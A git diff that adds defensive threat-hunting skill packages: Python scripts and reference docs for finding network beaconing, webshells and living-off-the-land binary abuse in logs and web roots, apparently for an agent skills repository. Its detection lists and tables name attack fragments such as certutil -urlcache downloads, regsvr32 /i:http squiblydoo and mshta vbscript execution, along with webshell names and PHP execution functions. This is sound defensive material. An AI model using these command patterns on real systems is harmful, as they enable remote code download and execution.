= ip.split(".") + if len(parts) != 4: + return 0 + try: + return (int(parts[0]) << 24) + (int(parts[1]) << 16) + (int(parts[2]) << 8) + int(parts[3]) + except ValueError: + return 0 + + +def is_private(ip): + """Check if IP is in private RFC1918 range.""" + val = ip_to_int(ip) + return any(start <= val <= end for start, end in PRIVATE_RANGES) + + +def load_connection_logs(log_path): + """Load network connection logs from JSON lines.""" + entries = [] + with open(log_path) as f: + for line in f: + try: + entries.append(json.loads(line)) + except json.JSONDecodeError: + continue + return entries + + +def detect_non_standard_ports(connections): + """Find connections to unusual destination ports.""" + findings = [] + for conn in connections: + dst_port = int(conn.get("dest_port", conn.get("dst_port", 0))) + if dst_port in KNOWN_BAD_PORTS: + findings.append({ + "src_ip": conn.get("src_ip", conn.get("source_ip", "")), + "dst_ip": conn.get("dst_ip", conn.get("dest_ip", "")), + "dst_port": dst_port, + "process": conn.get("process", conn.get("image", "")), + "severity": "CRITICAL", + "reason": "known_bad_port", + }) + elif dst_port not in COMMON_PORTS and dst_port > 0: + findings.append({ + "src_ip": conn.get("src_ip", conn.get("source_ip", "")), + "dst_ip": conn.get("dst_ip", conn.get("dest_ip", "")), + "dst_port": dst_port, + "process": conn.get("process", conn.get("image", "")), + "severity": "MEDIUM", + "reason": "non_standard_port", + }) + return findings + + +def detect_rare_destinations(connections, threshold=3): + """Find rarely contacted external destinations.""" + dest_counts = Counter() + dest_conns = defaultdict(list) + for conn in connections: + dst = conn.get("dst_ip", conn.get("dest_ip", "")) + if dst and not is_private(dst): + dest_counts[dst] += 1 + dest_conns[dst].append(conn) + findings = [] + for dst, count in dest_counts.items(): + if count <= threshold: + sample = dest_conns[dst][0] + findings.append({ + "dst_ip": dst, + "connection_count": count, + "src_ip": sample.get("src_ip", sample.get("source_ip", "")), + "process": sample.get("process", sample.get("image", "")), + "severity": "HIGH", + "reason": "rare_destination", + }) + return sorted(findings, key=lambda x: x["connection_count"]) + + +def detect_long_connections(connections, duration_threshold=3600): + """Find unusually long-lived connections (potential C2).""" + findings = [] + for conn in connections: + duration = conn.get("duration", conn.get("connection_duration", 0)) + try: + duration = float(duration) + except (TypeError, ValueError): + continue + if duration > duration_threshold: + findings.append({ + "src_ip": conn.get("src_ip", conn.get("source_ip", "")), + "dst_ip": conn.get("dst_ip", conn.get("dest_ip", "")), + "dst_port": conn.get("dest_port", conn.get("dst_port", "")), + "duration_seconds": duration, + "process": conn.get("process", conn.get("image", "")), + "severity": "HIGH", + "reason": "long_duration_connection", + }) + return sorted(findings, key=lambda x: x["duration_seconds"], reverse=True) + + +def detect_high_frequency_beaconing(connections, interval_threshold=60): + """Detect periodic connections suggestive of beaconing.""" + by_dest = defaultdict(list) + for conn in connections: + dst = conn.get("dst_ip", conn.get("dest_ip", "")) + ts = conn.get("timestamp", conn.get("ts", "")) + if dst and ts: + try: + t = datetime.fromisoformat(str(ts).replace("Z", "+00:00")) + by_dest[dst].append(t) + except (ValueError, TypeError): + continue + findings = [] + for dst, times in by_dest.items(): + if len(times) < 5: + continue + times.sort() + intervals = [(times[i+1] - times[i]).total_seconds() for i in range(len(times)-1)] + avg = sum(intervals) / len(intervals) + if avg < 1: + continue + std = (sum((x - avg)**2 for x in intervals) / len(intervals)) ** 0.5 + cv = std / avg if avg > 0 else 999 + if cv < 0.3 and avg < interval_threshold: + findings.append({ + "dst_ip": dst, "connection_count": len(times), + "avg_interval_sec": round(avg, 2), "cv": round(cv, 3), + "severity": "CRITICAL", "reason": "periodic_beaconing", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Unusual Network Connection Hunter") + parser.add_argument("--log", required=True, help="JSON lines connection log") + parser.add_argument("--output", default="unusual_network_hunt_report.json") + parser.add_argument("--action", choices=[ + "ports", "rare", "long", "beacon", "full_analysis" + ], default="full_analysis") + args = parser.parse_args() + + conns = load_connection_logs(args.log) + report = {"generated_at": datetime.utcnow().isoformat(), "total_connections": len(conns), + "findings": {}} + print(f"[+] Loaded {len(conns)} connections") + + if args.action in ("ports", "full_analysis"): + f = detect_non_standard_ports(conns) + report["findings"]["non_standard_ports"] = f + print(f"[+] Non-standard port connections: {len(f)}") + + if args.action in ("rare", "full_analysis"): + f = detect_rare_destinations(conns) + report["findings"]["rare_destinations"] = f + print(f"[+] Rare destinations: {len(f)}") + + if args.action in ("long", "full_analysis"): + f = detect_long_connections(conns) + report["findings"]["long_connections"] = f + print(f"[+] Long-lived connections: {len(f)}") + + if args.action in ("beacon", "full_analysis"): + f = detect_high_frequency_beaconing(conns) + report["findings"]["beaconing"] = f + print(f"[+] Beaconing patterns: {len(f)}") + + with open(args.output, "w") as fout: + json.dump(report, fout, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-webshell-activity/LICENSE b/skills/hunting-for-webshell-activity/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-webshell-activity/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-webshell-activity/references/api-reference.md b/skills/hunting-for-webshell-activity/references/api-reference.md new file mode 100644 index 00000000..e59c5ae3 --- /dev/null +++ b/skills/hunting-for-webshell-activity/references/api-reference.md @@ -0,0 +1,65 @@ +# API Reference: Hunting for Webshell Activity + +## Process Tree Detection + +| Parent Process | Child Process | Severity | +|----------------|---------------|----------| +| w3wp.exe | cmd.exe, powershell.exe | CRITICAL | +| httpd/apache2 | bash, sh, python | CRITICAL | +| tomcat/java | cmd.exe, bash | CRITICAL | +| nginx | bash, sh | CRITICAL | + +## Splunk SPL - Web Server Shell Spawn + +```spl +index=sysmon EventCode=1 +| where match(ParentImage, "(?i)(w3wp|httpd|apache2|nginx|tomcat)") +| where match(Image, "(?i)(cmd\.exe|powershell|bash|whoami|net\.exe)") +| table _time Computer ParentImage Image CommandLine User +``` + +## KQL - Web Shell Process Chain + +```kql +DeviceProcessEvents +| where InitiatingProcessFileName in~ ("w3wp.exe", "httpd", "apache2", "nginx") +| where FileName in~ ("cmd.exe", "powershell.exe", "bash", "whoami.exe") +| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine +``` + +## Web Access Log Patterns + +```python +webshell_patterns = [ + r"POST\s+.*\.(asp|aspx|php|jsp)\s+", # POST to script files + r"cmd=|exec=|command=|shell=", # Command parameters + r"c99shell|r57shell|b374k|weevely", # Known webshell names +] +``` + +## Sigma Rule - Webshell Detection + +```yaml +title: Webshell Spawning Shell Process +logsource: + category: process_creation + product: windows +detection: + parent: + ParentImage|endswith: '\w3wp.exe' + child: + Image|endswith: + - '\cmd.exe' + - '\powershell.exe' + condition: parent and child +level: critical +tags: + - attack.persistence + - attack.t1505.003 +``` + +### References + +- MITRE T1505.003: https://attack.mitre.org/techniques/T1505/003/ +- SANS Webshell Detection: https://www.sans.org/white-papers/ +- Sigma webshell rules: https://github.com/SigmaHQ/sigma diff --git a/skills/hunting-for-webshell-activity/scripts/agent.py b/skills/hunting-for-webshell-activity/scripts/agent.py new file mode 100644 index 00000000..d5230ae2 --- /dev/null +++ b/skills/hunting-for-webshell-activity/scripts/agent.py @@ -0,0 +1,177 @@ +#!/usr/bin/env python3 +"""Agent for hunting web shell activity on web servers via process tree and log analysis.""" + +import json +import argparse +import re +from datetime import datetime +from collections import defaultdict +from pathlib import Path + + +WEB_SERVER_PROCESSES = [ + "w3wp.exe", "httpd", "apache2", "nginx", "tomcat", "java", + "php-cgi", "php-fpm", "node", "iisexpress", +] + +SHELL_SPAWNS = [ + "cmd.exe", "powershell.exe", "pwsh.exe", "bash", "sh", + "wscript.exe", "cscript.exe", "certutil.exe", "whoami.exe", + "net.exe", "net1.exe", "ipconfig.exe", "systeminfo.exe", + "tasklist.exe", "nslookup.exe", +] + +WEBSHELL_HTTP_PATTERNS = [ + r"POST\s+.*\.(asp|aspx|php|jsp|jspx)\s+", + r"cmd=", r"exec=", r"command=", r"shell=", + r"c99shell", r"r57shell", r"b374k", r"weevely", + r"china\s*chopper", r"antsword", +] + + +def load_process_logs(log_path): + """Load process creation logs (JSON lines).""" + entries = [] + with open(log_path) as f: + for line in f: + try: + entries.append(json.loads(line)) + except json.JSONDecodeError: + continue + return entries + + +def detect_webserver_child_shells(process_logs): + """Detect shell processes spawned by web server processes.""" + findings = [] + for entry in process_logs: + parent = entry.get("ParentImage", entry.get("parent_process", "")).lower() + child = entry.get("Image", entry.get("process_name", "")).lower() + is_web_parent = any(ws in parent for ws in WEB_SERVER_PROCESSES) + is_shell_child = any(sh in child for sh in SHELL_SPAWNS) + if is_web_parent and is_shell_child: + cmd = entry.get("CommandLine", entry.get("command_line", "")) + findings.append({ + "timestamp": entry.get("UtcTime", entry.get("timestamp", "")), + "hostname": entry.get("Computer", entry.get("hostname", "")), + "parent_process": parent, + "child_process": child, + "command_line": cmd[:500], + "user": entry.get("User", ""), + "severity": "CRITICAL", + "technique": "T1505.003", + }) + return findings + + +def analyze_web_access_logs(access_log_path): + """Analyze web access logs for webshell indicators.""" + findings = [] + with open(access_log_path) as f: + for i, line in enumerate(f, 1): + for pattern in WEBSHELL_HTTP_PATTERNS: + if re.search(pattern, line, re.IGNORECASE): + ip_match = re.match(r"^(\S+)", line) + findings.append({ + "line_number": i, + "source_ip": ip_match.group(1) if ip_match else "", + "log_entry": line.strip()[:500], + "pattern_matched": pattern, + "severity": "HIGH", + }) + break + return findings + + +def detect_file_creation_in_webroot(file_events, webroot_paths=None): + """Detect new script files created in web server directories.""" + if webroot_paths is None: + webroot_paths = [ + "/var/www", "/opt/lampp/htdocs", "inetpub/wwwroot", + "/usr/share/nginx/html", "/srv/www", + ] + script_extensions = [".php", ".asp", ".aspx", ".jsp", ".jspx", ".cgi", ".cfm"] + findings = [] + for event in file_events: + filepath = event.get("TargetFilename", event.get("file_path", "")).lower() + in_webroot = any(wr in filepath for wr in webroot_paths) + is_script = any(filepath.endswith(ext) for ext in script_extensions) + if in_webroot and is_script: + findings.append({ + "timestamp": event.get("UtcTime", event.get("timestamp", "")), + "file_path": filepath, + "process": event.get("Image", event.get("process_name", "")), + "hostname": event.get("Computer", event.get("hostname", "")), + "severity": "CRITICAL", + "reason": "script_created_in_webroot", + }) + return findings + + +def detect_post_exploitation(process_logs): + """Detect reconnaissance commands typically run through webshells.""" + recon_patterns = [ + (r"whoami", "user_discovery"), + (r"ipconfig|ifconfig", "network_config"), + (r"net\s+(user|group|localgroup)", "account_enum"), + (r"systeminfo", "system_info"), + (r"tasklist|ps\s+aux", "process_enum"), + (r"netstat\s+-an", "connection_enum"), + (r"dir\s+/s|find\s+/|ls\s+-la", "file_enum"), + ] + findings = [] + for entry in process_logs: + parent = entry.get("ParentImage", entry.get("parent_process", "")).lower() + if not any(ws in parent for ws in WEB_SERVER_PROCESSES): + continue + cmd = entry.get("CommandLine", entry.get("command_line", "")) + for pattern, category in recon_patterns: + if re.search(pattern, cmd, re.IGNORECASE): + findings.append({ + "timestamp": entry.get("UtcTime", entry.get("timestamp", "")), + "command": cmd[:300], + "category": category, + "parent": parent, + "severity": "HIGH", + }) + break + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Webshell Activity Hunter") + parser.add_argument("--process-log", help="JSON lines process creation log") + parser.add_argument("--access-log", help="Web server access log") + parser.add_argument("--file-events", help="JSON lines file creation events") + parser.add_argument("--output", default="webshell_hunt_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.process_log: + logs = load_process_logs(args.process_log) + shells = detect_webserver_child_shells(logs) + report["findings"]["shell_spawns"] = shells + print(f"[+] Web server shell spawns: {len(shells)}") + recon = detect_post_exploitation(logs) + report["findings"]["post_exploitation"] = recon + print(f"[+] Post-exploitation commands: {len(recon)}") + + if args.access_log: + hits = analyze_web_access_logs(args.access_log) + report["findings"]["access_log_hits"] = hits + print(f"[+] Access log webshell indicators: {len(hits)}") + + if args.file_events: + events = load_process_logs(args.file_events) + files = detect_file_creation_in_webroot(events) + report["findings"]["webroot_files"] = files + print(f"[+] Scripts created in webroot: {len(files)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-webshells-in-web-servers/LICENSE b/skills/hunting-for-webshells-in-web-servers/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-webshells-in-web-servers/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-webshells-in-web-servers/SKILL.md b/skills/hunting-for-webshells-in-web-servers/SKILL.md new file mode 100644 index 00000000..2fe9df2f --- /dev/null +++ b/skills/hunting-for-webshells-in-web-servers/SKILL.md @@ -0,0 +1,34 @@ +--- +name: hunting-for-webshells-in-web-servers +description: >- + Detect webshells planted on web servers by scanning for high-entropy files, + suspicious PHP/JSP/ASP patterns (eval, base64_decode, system, passthru), + recently modified files in web roots, and anomalous file sizes. Uses Shannon + entropy calculation to flag obfuscated payloads and regex pattern matching + against known webshell signatures. +--- + +## Instructions + +1. Install dependencies: `pip install yara-python` +2. Identify web server document roots to scan (e.g., `/var/www/html`, `/opt/lampp/htdocs`). +3. Run the agent to scan for webshells: + - Shannon entropy analysis flags files with entropy > 5.5 + - Pattern matching detects eval(), base64_decode(), system(), passthru(), shell_exec() + - File modification time analysis finds recently changed files + - Extension filtering targets .php, .jsp, .asp, .aspx, .cgi, .py files + +```bash +python scripts/agent.py --webroot /var/www/html --output webshell_report.json +``` + +## Examples + +### High-Entropy PHP Webshell Detection +``` +File: /var/www/html/uploads/img_thumb.php +Entropy: 6.12 (threshold: 5.5) +Patterns matched: eval(), base64_decode(), str_rot13() +Last modified: 2025-12-01 03:42:00 (outside business hours) +Verdict: SUSPICIOUS - likely obfuscated webshell +``` diff --git a/skills/hunting-for-webshells-in-web-servers/references/api-reference.md b/skills/hunting-for-webshells-in-web-servers/references/api-reference.md new file mode 100644 index 00000000..9484487f --- /dev/null +++ b/skills/hunting-for-webshells-in-web-servers/references/api-reference.md @@ -0,0 +1,67 @@ +# API Reference: Hunting for Webshells in Web Servers + +## Shannon Entropy Calculation + +```python +import math + +def shannon_entropy(data: bytes) -> float: + freq = {} + for byte in data: + freq[byte] = freq.get(byte, 0) + 1 + length = len(data) + return -sum((c/length) * math.log2(c/length) for c in freq.values()) + +# Thresholds: > 5.5 suspicious, > 6.5 likely obfuscated +``` + +## Webshell Detection Patterns + +| Pattern | Language | Risk | +|---------|----------|------| +| `eval()` | PHP | HIGH | +| `base64_decode()` | PHP | HIGH | +| `system()` / `passthru()` | PHP | CRITICAL | +| `shell_exec()` / `exec()` | PHP | CRITICAL | +| `$_GET/$_POST` + `eval` | PHP | CRITICAL | +| `Runtime.getRuntime().exec` | JSP | CRITICAL | +| `Server.CreateObject` | ASP | HIGH | + +## YARA Rule for Webshells + +```yara +rule webshell_php_generic { + meta: + description = "Generic PHP webshell" + strings: + $eval = "eval(" ascii nocase + $b64 = "base64_decode(" ascii nocase + $system = "system(" ascii nocase + $input = /\$_(GET|POST|REQUEST)\s*\[/ ascii + condition: + $input and ($eval or $b64 or $system) +} +``` + +## File System Scanning + +```python +from pathlib import Path +SCRIPT_EXTS = {".php", ".asp", ".aspx", ".jsp", ".jspx", ".cgi"} +for f in Path("/var/www/html").rglob("*"): + if f.suffix.lower() in SCRIPT_EXTS: + entropy = shannon_entropy(f.read_bytes()) +``` + +## NeoPI (Webshell Detection Tool) + +```bash +python neopi.py /var/www/html -a # Run all tests +# Tests: entropy, longest word, index of coincidence, signature +``` + +### References + +- MITRE T1505.003: https://attack.mitre.org/techniques/T1505/003/ +- NeoPI: https://github.com/Neohapsis/NeoPI +- YARA: https://yara.readthedocs.io/ diff --git a/skills/hunting-for-webshells-in-web-servers/scripts/agent.py b/skills/hunting-for-webshells-in-web-servers/scripts/agent.py new file mode 100644 index 00000000..19d5e01e --- /dev/null +++ b/skills/hunting-for-webshells-in-web-servers/scripts/agent.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python3 +"""Webshell Detection Agent - Scans web server directories for webshell indicators.""" + +import json +import math +import os +import re +import logging +import argparse +from datetime import datetime, timedelta +from collections import Counter + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +WEB_EXTENSIONS = {".php", ".phtml", ".php5", ".php7", ".jsp", ".jspx", ".asp", ".aspx", ".cgi", ".py", ".pl", ".cfm"} + +PHP_PATTERNS = [ + (r"\beval\s*\(", "eval() execution", "critical"), + (r"\bbase64_decode\s*\(", "base64_decode() obfuscation", "high"), + (r"\bsystem\s*\(", "system() command execution", "critical"), + (r"\bpassthru\s*\(", "passthru() command execution", "critical"), + (r"\bshell_exec\s*\(", "shell_exec() command execution", "critical"), + (r"\bexec\s*\(", "exec() command execution", "high"), + (r"\bproc_open\s*\(", "proc_open() process spawn", "critical"), + (r"\bpopen\s*\(", "popen() pipe execution", "high"), + (r"\bstr_rot13\s*\(", "str_rot13() obfuscation", "medium"), + (r"\bgzinflate\s*\(", "gzinflate() decompression obfuscation", "high"), + (r"\bpreg_replace\s*\(.*/e", "preg_replace /e code execution", "critical"), + (r"\bassert\s*\(", "assert() code execution", "high"), + (r"\$_(?:GET|POST|REQUEST|COOKIE)\s*\[", "direct superglobal access", "medium"), + (r"\bcreate_function\s*\(", "create_function() dynamic code", "high"), + (r"\bReflectionFunction\b", "ReflectionFunction dynamic invocation", "high"), +] + +JSP_PATTERNS = [ + (r"Runtime\.getRuntime\(\)\.exec\(", "Runtime.exec() command execution", "critical"), + (r"ProcessBuilder\b", "ProcessBuilder command execution", "critical"), + (r"Class\.forName\s*\(", "Class.forName() dynamic loading", "high"), +] + +ASP_PATTERNS = [ + (r"Server\.CreateObject\s*\(", "CreateObject instantiation", "high"), + (r"WScript\.Shell", "WScript.Shell execution", "critical"), + (r"Scripting\.FileSystemObject", "FileSystemObject access", "high"), + (r"Execute\s*\(", "Execute() dynamic code", "critical"), +] + + +def calculate_entropy(data): + """Calculate Shannon entropy of file content.""" + if not data: + return 0.0 + counter = Counter(data) + length = len(data) + entropy = 0.0 + for count in counter.values(): + p = count / length + if p > 0: + entropy -= p * math.log2(p) + return entropy + + +def get_patterns_for_ext(ext): + """Return relevant patterns based on file extension.""" + ext = ext.lower() + patterns = [] + if ext in (".php", ".phtml", ".php5", ".php7"): + patterns.extend(PHP_PATTERNS) + elif ext in (".jsp", ".jspx"): + patterns.extend(JSP_PATTERNS) + elif ext in (".asp", ".aspx"): + patterns.extend(ASP_PATTERNS) + return patterns + + +def scan_file(filepath, entropy_threshold=5.5): + """Scan a single file for webshell indicators.""" + try: + with open(filepath, "r", encoding="utf-8", errors="ignore") as f: + content = f.read() + except (OSError, PermissionError) as e: + return {"file": filepath, "error": str(e)} + + stat = os.stat(filepath) + ext = os.path.splitext(filepath)[1].lower() + entropy = calculate_entropy(content) + matched_patterns = [] + + for pattern, description, severity in get_patterns_for_ext(ext): + if re.search(pattern, content, re.IGNORECASE): + matched_patterns.append({"pattern": description, "severity": severity}) + + long_strings = len(re.findall(r'["\'][^"\']{500,}["\']', content)) + has_hex_encoding = bool(re.search(r"\\x[0-9a-fA-F]{2}(?:\\x[0-9a-fA-F]{2}){10,}", content)) + line_count = content.count("\n") + 1 + avg_line_length = len(content) / max(line_count, 1) + + risk_score = 0 + if entropy > entropy_threshold: + risk_score += 30 + if matched_patterns: + risk_score += min(len(matched_patterns) * 15, 50) + if long_strings > 0: + risk_score += 10 + if has_hex_encoding: + risk_score += 15 + if avg_line_length > 500: + risk_score += 10 + + if risk_score >= 50: + verdict = "MALICIOUS" + elif risk_score >= 25: + verdict = "SUSPICIOUS" + else: + verdict = "CLEAN" + + return { + "file": filepath, + "size": stat.st_size, + "modified": datetime.fromtimestamp(stat.st_mtime).isoformat(), + "entropy": round(entropy, 3), + "patterns_matched": matched_patterns, + "long_strings": long_strings, + "hex_encoding": has_hex_encoding, + "avg_line_length": round(avg_line_length, 1), + "risk_score": risk_score, + "verdict": verdict, + } + + +def scan_directory(webroot, entropy_threshold=5.5, max_age_days=30): + """Scan a web directory for webshell files.""" + results = [] + cutoff = datetime.now() - timedelta(days=max_age_days) + + for root, _dirs, files in os.walk(webroot): + for fname in files: + ext = os.path.splitext(fname)[1].lower() + if ext not in WEB_EXTENSIONS: + continue + filepath = os.path.join(root, fname) + result = scan_file(filepath, entropy_threshold) + if "error" not in result: + results.append(result) + + recently_modified = [ + r for r in results + if datetime.fromisoformat(r["modified"]) > cutoff + ] + logger.info( + "Scanned %d files, %d recently modified (<%d days)", + len(results), len(recently_modified), max_age_days, + ) + return results + + +def generate_report(scan_results): + """Generate webshell detection report.""" + malicious = [r for r in scan_results if r["verdict"] == "MALICIOUS"] + suspicious = [r for r in scan_results if r["verdict"] == "SUSPICIOUS"] + report = { + "timestamp": datetime.utcnow().isoformat(), + "total_files_scanned": len(scan_results), + "malicious_count": len(malicious), + "suspicious_count": len(suspicious), + "clean_count": len(scan_results) - len(malicious) - len(suspicious), + "malicious_files": malicious, + "suspicious_files": suspicious, + } + print(f"WEBSHELL REPORT: {len(malicious)} malicious, {len(suspicious)} suspicious out of {len(scan_results)} files") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Webshell Detection Agent") + parser.add_argument("--webroot", required=True, help="Web server document root to scan") + parser.add_argument("--entropy-threshold", type=float, default=5.5) + parser.add_argument("--max-age-days", type=int, default=30) + parser.add_argument("--output", default="webshell_report.json") + args = parser.parse_args() + + results = scan_directory(args.webroot, args.entropy_threshold, args.max_age_days) + report = generate_report(results) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-living-off-the-land-binaries/LICENSE b/skills/hunting-living-off-the-land-binaries/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-living-off-the-land-binaries/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-living-off-the-land-binaries/SKILL.md b/skills/hunting-living-off-the-land-binaries/SKILL.md new file mode 100644 index 00000000..b7148d0b --- /dev/null +++ b/skills/hunting-living-off-the-land-binaries/SKILL.md @@ -0,0 +1,48 @@ +--- +name: hunting-living-off-the-land-binaries +description: > + Detects abuse of Living Off The Land Binaries (LOLBAS) such as certutil, wmic, mshta, + regsvr32, and rundll32 in Windows event logs and Sysmon telemetry. Builds detection + rules by cross-referencing process creation events against the LOLBAS project database. + Use when threat hunting for fileless attack techniques or building SIEM detection rules. +--- + +# Hunting Living Off The Land Binaries + +## Instructions + +Detect LOLBAS abuse by analyzing Windows process creation events (Event ID 4688 / Sysmon 1) +and matching command lines against known malicious patterns from the LOLBAS project. + +```python +import json +import requests + +# Fetch LOLBAS database +resp = requests.get("https://lolbas-project.github.io/api/lolbas.json") +lolbas_db = resp.json() + +# Extract binary names and suspicious commands +for entry in lolbas_db: + print(entry["Name"], [cmd["Command"] for cmd in entry.get("Commands", [])]) +``` + +Key detection patterns: +1. certutil -urlcache -split -f (download) +2. mshta vbscript:Execute (script execution) +3. regsvr32 /s /n /u /i:http (squiblydoo) +4. rundll32 javascript: (script execution) +5. wmic process call create (process creation) +6. bitsadmin /transfer (download) + +## Examples + +```python +# Match Sysmon Event ID 1 against LOLBAS patterns +import Evtx.Evtx as evtx +with evtx.Evtx("Microsoft-Windows-Sysmon.evtx") as log: + for record in log.records(): + xml = record.xml() + if "certutil" in xml.lower() and "urlcache" in xml.lower(): + print(f"LOLBAS detected: {xml}") +``` diff --git a/skills/hunting-living-off-the-land-binaries/references/api-reference.md b/skills/hunting-living-off-the-land-binaries/references/api-reference.md new file mode 100644 index 00000000..7a58aa57 --- /dev/null +++ b/skills/hunting-living-off-the-land-binaries/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference: Hunting Living Off The Land Binaries + +## LOLBAS Project API + +```python +import requests +resp = requests.get("https://lolbas-project.github.io/api/lolbas.json") +lolbas = resp.json() +# Each entry: {"Name": "Certutil.exe", "Commands": [...], "Paths": [...]} +for entry in lolbas: + for cmd in entry.get("Commands", []): + print(cmd["Command"], cmd["Category"]) + # Categories: Download, Execute, Compile, Encode, ... +``` + +## python-evtx (Event Log Parsing) + +```python +import Evtx.Evtx as evtx +from xml.etree import ElementTree as ET + +with evtx.Evtx("Security.evtx") as log: + for record in log.records(): + root = ET.fromstring(record.xml()) + # Event ID 4688 = process creation + # Sysmon Event ID 1 = process create +``` + +## Key LOLBAS Detection Patterns + +| Binary | Suspicious Pattern | ATT&CK | +|--------|--------------------|--------| +| certutil.exe | `-urlcache -split -f` | T1105 | +| mshta.exe | `vbscript:Execute` | T1218.005 | +| regsvr32.exe | `/s /n /u /i:http` | T1218.010 | +| rundll32.exe | `javascript:` | T1218.011 | +| wmic.exe | `process call create` | T1047 | +| bitsadmin.exe | `/transfer` | T1197 | +| cmstp.exe | `/s .inf` | T1218.003 | + +## Windows Event IDs + +| ID | Source | Description | +|----|--------|-------------| +| 4688 | Security | Process Creation | +| 1 | Sysmon | Process Create (with command line) | +| 7 | Sysmon | Image Loaded | +| 11 | Sysmon | FileCreate | + +### References + +- LOLBAS Project: https://lolbas-project.github.io/ +- python-evtx: https://github.com/williballenthin/python-evtx +- LOLBAS API: https://lolbas-project.github.io/api/lolbas.json diff --git a/skills/hunting-living-off-the-land-binaries/scripts/agent.py b/skills/hunting-living-off-the-land-binaries/scripts/agent.py new file mode 100644 index 00000000..82dcb29f --- /dev/null +++ b/skills/hunting-living-off-the-land-binaries/scripts/agent.py @@ -0,0 +1,194 @@ +#!/usr/bin/env python3 +"""Agent for hunting Living Off The Land Binary (LOLBAS) abuse.""" + +import os +import json +import re +import argparse +from datetime import datetime +from xml.etree import ElementTree as ET + +import requests +import Evtx.Evtx as evtx + + +LOLBAS_PATTERNS = { + "certutil.exe": [ + r"certutil.*-urlcache.*-split.*-f", + r"certutil.*-encode", + r"certutil.*-decode", + ], + "mshta.exe": [ + r"mshta.*vbscript", + r"mshta.*javascript", + r"mshta.*http[s]?://", + ], + "regsvr32.exe": [ + r"regsvr32.*/s.*/n.*/u.*/i:", + r"regsvr32.*scrobj\.dll", + ], + "rundll32.exe": [ + r"rundll32.*javascript:", + r"rundll32.*vbscript:", + r"rundll32.*shell32\.dll.*ShellExec_RunDLL", + ], + "wmic.exe": [ + r"wmic.*process.*call.*create", + r"wmic.*/node:.*process", + r"wmic.*os.*get.*/format:", + ], + "bitsadmin.exe": [ + r"bitsadmin.*/transfer", + r"bitsadmin.*/create.*addfile", + ], + "cmstp.exe": [ + 